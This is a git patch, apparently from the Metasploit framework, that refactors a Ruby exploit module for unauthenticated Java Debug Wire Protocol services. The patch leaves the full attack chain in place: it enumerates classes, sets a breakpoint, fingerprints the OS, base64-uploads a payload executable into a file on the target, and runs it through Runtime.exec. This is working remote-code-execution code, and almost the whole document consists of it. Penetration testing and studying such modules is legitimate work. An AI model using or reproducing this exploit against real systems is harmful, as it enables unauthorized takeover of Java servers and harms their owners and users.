From 33a7bc64fa5df197a9632d1ad1cfded2a8c3e069 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Jun 2014 13:18:59 -0500 Subject: [PATCH] Do some easy cleaning --- .../exploits/multi/misc/java_jdwp_debugger.rb | 248 ++++-------------- 1 file changed, 49 insertions(+), 199 deletions(-) diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index cd62066304..0b29ebe67c 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -309,83 +309,64 @@ class Metasploit3 < Msf::Exploit::Remote # Gets the sizes of variably-sized data types in the target VM - def idsizes - + def get_sizes + formats = [ + ["I", "fieldid_size"], + ["I", "methodid_size"], + ["I", "objectid_size"], + ["I", "referencetypeid_size"], + ["I", "frameid_size"] + ] sock.put(create_packet(IDSIZES_SIG)) response = read_reply(datastore['RESPONSE_TIMEOUT']) - - formats = [ - ["I", "fieldid_size"], - ["I", "methodid_size"], - ["I", "objectid_size"], - ["I", "referencetypeid_size"], - ["I", "frameid_size"] - ] - entries = parse_entries(response, formats, false) - entries.each { |e| @vars.merge!(e) } - end # Gets the JDWP version implemented by the target VM def get_version - - sock.put(create_packet(VERSION_SIG)) - - response = read_reply(datastore['RESPONSE_TIMEOUT']) - formats = [ - ["S", "descr"], - ["I", "jdwp_major"], - ["I", "jdwp_minor"], - ["S", "vm_version"], - ["S", "vm_name"] + ["S", "descr"], + ["I", "jdwp_major"], + ["I", "jdwp_minor"], + ["S", "vm_version"], + ["S", "vm_name"] ] - + sock.put(create_packet(VERSION_SIG)) + response = read_reply(datastore['RESPONSE_TIMEOUT']) entries = parse_entries(response, formats, false) - entries.each { |e| @vars.merge!(e) } - end def version - return "#{@vars["vm_name"]} - #{@vars["vm_version"]}" + "#{@vars["vm_name"]} - #{@vars["vm_version"]}" end # Returns reference types for all classes currently loaded by the target VM def get_all_classes - return unless @classes.empty? - sock.put(create_packet(ALLCLASSES_SIG)) - - response = read_reply(datastore['RESPONSE_TIMEOUT']) - formats = [ - ["C", "reftype_tag"], - [@vars["referencetypeid_size"], "reftype_id"], - ["S", "signature"], - ["I", "status"] + ["C", "reftype_tag"], + [@vars["referencetypeid_size"], "reftype_id"], + ["S", "signature"], + ["I", "status"] ] - - print_status("#{peer} - Parsing list of classes...") - + sock.put(create_packet(ALLCLASSES_SIG)) + response = read_reply(datastore['RESPONSE_TIMEOUT']) @classes.append(parse_entries(response, formats)) - end # Checks if specified class is currently loaded by the target VM and returns it def get_class_by_name(name) - @classes.each do |entry_array| - entry_array.each do |entry| - - return entry if entry["signature"].downcase == name.downcase + if entry["signature"].downcase == name.downcase + return entry + end end end @@ -395,32 +376,24 @@ class Metasploit3 < Msf::Exploit::Remote # Returns information for each method in a reference type (ie. object). Inherited methods are not included. # The list of methods will include constructors (identified with the name "") def get_methods(reftype_id) + if @methods.has_key?(reftype_id) + return @methods[reftype_id] + end - unless @methods.has_key?(reftype_id) - - refid = format(@vars["referencetypeid_size"],reftype_id) - - sock.put(create_packet(METHODS_SIG, refid)) - - response = read_reply(datastore['RESPONSE_TIMEOUT']) - - formats = [ + formats = [ [@vars["methodid_size"], "method_id"], ["S", "name"], ["S", "signature"], ["I", "mod_bits"] - ] - - @methods[reftype_id] = parse_entries(response, formats) - - end - - return @methods[reftype_id] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(METHODS_SIG, ref_id)) + response = read_reply(datastore['RESPONSE_TIMEOUT']) + @methods[reftype_id] = parse_entries(response, formats) end # Checks if specified method is currently loaded by the target VM and returns it def get_method_by_name(classname, name, signature = nil) - @methods[classname].each do |entry| if signature.nil? return entry if entry["name"].downcase == name.downcase @@ -435,27 +408,20 @@ class Metasploit3 < Msf::Exploit::Remote # Checks if specified class and method are currently loaded by the target VM and returns them def get_class_and_method(looked_class, looked_method, signature = nil) - target_class = get_class_by_name(looked_class) - fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class get_methods(target_class["reftype_id"]) - target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) - fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method return target_class, target_method - end # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") def str2fqclass(s) - i = s.rindex(".") - fail_with(Failure::BadConfig, 'Bad defined break class') unless i method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string @@ -465,7 +431,6 @@ class Metasploit3 < Msf::Exploit::Remote classname << ';' return classname, method - end @@ -480,34 +445,25 @@ class Metasploit3 < Msf::Exploit::Remote # Sets an event request. When the event described by this request occurs, an event is sent from the target VM def send_event(event_code, args) - data = [event_code].pack('C') data << [SUSPEND_ALL].pack('C') data << [args.length].pack('N') args.each do |kind,option| - data << [kind].pack('C') data << option - end sock.put(create_packet(EVENTSET_SIG, data)) - response = read_reply(datastore['RESPONSE_TIMEOUT']) - fail_with(Exploit::Failure::Unknown, "No network response") unless response - return response.unpack('N')[0] - end # Waits user defined time for an event sent from the target VM (or force event if possible) def wait_for_event - force_net_event unless datastore['BREAKPOINT_PORT'].nil? || (datastore['BREAKPOINT_PORT'] == 0) - buf = read_reply(datastore['BREAK_TIMEOUT']) return buf @@ -516,12 +472,8 @@ class Metasploit3 < Msf::Exploit::Remote # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket def force_net_event - print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}") - print_status("#{rhost}") - print_status("#{datastore['BREAKPOINT_PORT']}") - rex_socket = Rex::Socket::Tcp.create( 'PeerHost' => rhost, 'PeerPort' => datastore['BREAKPOINT_PORT'], @@ -531,23 +483,19 @@ class Metasploit3 < Msf::Exploit::Remote rex_socket.shutdown rex_socket.close - print_status("BYE force_net_event") end # Parses a received event and compares it with the expected def parse_event_breakpoint(buf, event_id) - r_id = buf[6..9].unpack('N')[0] return nil unless event_id == r_id len = @vars["objectid_size"] - t_id = unformat(len,buf[10..10+len-1]) return r_id, t_id - end @@ -555,9 +503,7 @@ class Metasploit3 < Msf::Exploit::Remote def clear_event(event_code, r_id) data = [event_code].pack('C') data << [r_id].pack('N') - sock.put(create_packet(EVENTCLEAR_SIG, data)) - read_reply(datastore['RESPONSE_TIMEOUT']) end @@ -565,78 +511,57 @@ class Metasploit3 < Msf::Exploit::Remote # Invokes a static method. The method must be member of the class type or one of its superclasses, # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. def invoke_static(class_id, thread_id, meth_id, args = []) - data = format(@vars["referencetypeid_size"], class_id) data << format(@vars["objectid_size"], thread_id) data << format(@vars["methodid_size"], meth_id) data << [args.length].pack('N') args.each do |arg| - data << arg data << [0].pack('N') - end sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) - buf = read_reply(datastore['RESPONSE_TIMEOUT']) - - return buf - + buf end # Invokes a instance method. The method must be member of the object's type or one of its superclasses, # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. def invoke(obj_id, thread_id, class_id, meth_id, args = []) - data = format(@vars["objectid_size"], obj_id) data << format(@vars["objectid_size"], thread_id) - data << format(@vars["referencetypeid_size"], class_id) - data << format(@vars["methodid_size"], meth_id) - data << [args.length].pack('N') args.each do |arg| - data << arg data << [0].pack('N') - end sock.put(create_packet(INVOKEMETHOD_SIG, data)) - buf = read_reply(datastore['RESPONSE_TIMEOUT']) - - return buf - + buf end # Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type. def create_instance(class_id, thread_id, meth_id, args = []) - data = format(@vars["referencetypeid_size"], class_id) data << format(@vars["objectid_size"], thread_id) data << format(@vars["methodid_size"], meth_id) data << [args.length].pack('N') args.each do |arg| - data << arg data << [0].pack('N') - end sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) - buf = read_reply(datastore['RESPONSE_TIMEOUT']) - - return buf - + buf end @@ -651,7 +576,6 @@ class Metasploit3 < Msf::Exploit::Remote # Configures payload according to targeted architecture def setup_payload - # 1. Setting up generic values. payload_exe = rand_text_alphanumeric(4 + rand(4)) pl_exe = generate_payload_exe @@ -668,199 +592,137 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoTarget, 'Unsupported target platform') end - return payload_exe, pl_exe end # Invokes java.lang.System.getProperty() for OS fingerprinting purposes def fingerprint_os(thread_id) - size = @vars["objectid_size"] # 1. Creates a string on target VM with the property to be getted cmd_obj_ids = create_string("os.name") - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 - cmd_obj_id = cmd_obj_ids[0]["obj_id"] # 2. Gets property data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) - data_array = [data] - runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") - buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') str = unformat(size, buf[1..1+size-1]) - @os = solve_string(format(@vars["objectid_size"],str)) - end # Creates a file on the server given a execution thread def create_file(thread_id, filename) - cmd_obj_ids = create_string(filename) - fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 cmd_obj_id = cmd_obj_ids[0]["obj_id"] - size = @vars["objectid_size"] - data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) - data_array = [data] - runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "", "(Ljava/lang/String;)V") - buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') file = unformat(size, buf[1..1+size-1]) - fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) register_files_for_cleanup(filename) - return file - + file end # Stores the payload on a new string created in target VM def upload_payload(thread_id, pl_exe) - size = @vars["objectid_size"] - runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "") - buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') decoder = unformat(size, buf[1..1+size-1]) - fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0) cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 cmd_obj_id = cmd_obj_ids[0]["obj_id"] - data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) - data_array = [data] - runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") - buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C') pl = unformat(size, buf[1..1+size-1]) - - return pl - + pl end # Dumps the payload on a opened server file given a execution thread def dump_payload(thread_id, file, pl) - size = @vars["objectid_size"] - data = [TAG_OBJECT].pack('C') data << format(size, pl) - data_array = [data] - runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") - buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) - fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C') - end # Closes a file on the server given a execution thread def close_file(thread_id, file) - size = @vars["objectid_size"] - runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") - buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) - fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C') - end - # Executes a system command on target VM making use of java.lang.Runtime.exec() def execute_command(thread_id, cmd) - size = @vars["objectid_size"] # 1. Creates a string on target VM with the command to be executed cmd_obj_ids = create_string(cmd) - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 cmd_obj_id = cmd_obj_ids[0]["obj_id"] # 2. Gets Runtime context runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") - buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') rt = unformat(size, buf[1..1+size-1]) - fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0) # 3. Finds and executes "exec" method supplying the string with the command exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") - fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil? data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) - data_array = [data] - buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') - end - # Sets a breakpoint on frequently called method (user-defined) def set_breakpoint - vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}") # 1. Gets reference of the method where breakpoint is going to be setted classname, method = str2fqclass(datastore['BREAKPOINT']) - break_class = get_class_by_name(classname) - fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") unless break_class get_methods(break_class["reftype_id"]) - m = get_method_by_name(break_class["reftype_id"], method) - fail_with(Failure::BadConfig, "Method of Break Class not found") unless m # 2. Sends event request for this method @@ -870,18 +732,15 @@ class Metasploit3 < Msf::Exploit::Remote loc << [0,0].pack('NN') data = [[MODKIND_LOCATIONONLY, loc]] - r_id = send_event(EVENT_BREAKPOINT, data) - fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id - return r_id + r_id end # Uploads & executes the payload on the target VM def exec_payload(thread_id) - # 0. Fingerprinting OS fingerprint_os(thread_id) @@ -909,12 +768,10 @@ class Metasploit3 < Msf::Exploit::Remote # 6. Executes the dumped payload cmd = "#{payload_exe}" execute_command(thread_id, cmd) - end def exploit - @my_id = 0x01 @vars = {} @classes = [] @@ -927,50 +784,43 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NotVulnerable, "#{peer} - JDWP Protocol not found") end - # 1. Get the sizes of variably-sized data types in the target VM - idsizes + print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...") + get_sizes - # 2. Get the version of the target VM + print_status("#{peer} - Getting the version of the target VM...") get_version - # 3. Get all currently loaded classes by the target VM + print_status("#{peer} - Getting all currently loaded classes by the target VM...") get_all_classes - # 4. Sets a breakpoint on frequently called method (user-defined) + print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...") r_id = set_breakpoint - # 5. Resume VM and wait for event + print_status("#{peer} - Resuming VM and waiting for an event...") resume_vm secs = datastore['BREAK_TIMEOUT'] - ret = "" - datastore['NUM_RETRIES'].times do |i| - print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...") - buf = wait_for_event - ret = parse_event_breakpoint(buf, r_id) - break unless ret.nil? - end r_id, t_id = ret vprint_status("#{peer} - Received matching event from thread #{t_id}") - # 6. Clears event + print_status("#{peer} - Deleting breakpoint...") clear_event(EVENT_BREAKPOINT, r_id) - # 7. Drop & execute payload + print_status("#{peer} - Dropping and executing payload...") exec_payload(t_id) + print_status("#{peer} - Resuming the target VM...") resume_vm disconnect - end end